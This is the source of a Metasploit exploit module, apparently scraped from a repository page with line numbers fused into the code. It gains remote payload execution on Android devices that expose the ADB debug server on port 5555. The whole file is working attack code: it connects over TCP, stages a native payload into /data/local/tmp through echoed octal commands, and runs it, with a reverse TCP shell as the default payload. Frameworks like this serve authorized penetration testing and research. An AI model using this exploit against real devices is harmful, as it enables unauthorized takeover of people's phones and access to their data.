Path: blob/master/modules/exploits/android/adb/adb_server_exec.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Android ADB Debug Server Remote Payload Execution',16'Description' => %q{17Writes and spawns a native payload on an Android device that is listening18for adb debug messages.19},20'Author' => ['joev'],21'License' => MSF_LICENSE,22'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },23'Platform' => 'linux',24'Arch' => [ARCH_ARMLE, ARCH_X86, ARCH_X64, ARCH_MIPSLE],25'Targets' => [26['armle', { 'Arch' => ARCH_ARMLE }],27['x86', { 'Arch' => ARCH_X86 }],28['x64', { 'Arch' => ARCH_X64 }],29['mipsle', { 'Arch' => ARCH_MIPSLE }]30],31'DefaultTarget' => 0,32'DisclosureDate' => '2016-01-01',33'Notes' => {34'SideEffects' => [ ARTIFACTS_ON_DISK ],35'Reliability' => [ REPEATABLE_SESSION ],36'Stability' => [ CRASH_SAFE ]37}38)39)4041register_options([42Opt::RPORT(5555),43OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/'])44])45end4647def check48setup_adb_connection do49device_info = @adb_client.connect.data50print_good("Detected device:\n#{device_info}")51return CheckCode::Vulnerable52end5354CheckCode::Unknown55end5657def execute_command(cmd, _opts)58response = @adb_client.exec_cmd(cmd)59print_good("Command executed, response:\n #{response}")60end6162def exploit63setup_adb_connection do64device_data = @adb_client.connect65print_good("Connected to device:\n#{device_data.data}")66execute_cmdstager({67flavor: :echo,68enc_format: :octal,69prefix: '\\\\0',70temp: datastore['WritableDir'],71linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA - 8,72background: true,73nodelete: true74})75end76end7778def setup_adb_connection(&blk)79print_status('Connecting to device...')80connect81@adb_client = Rex::Proto::ADB::Client.new(sock)82blk.call83ensure84disconnect85end86end878889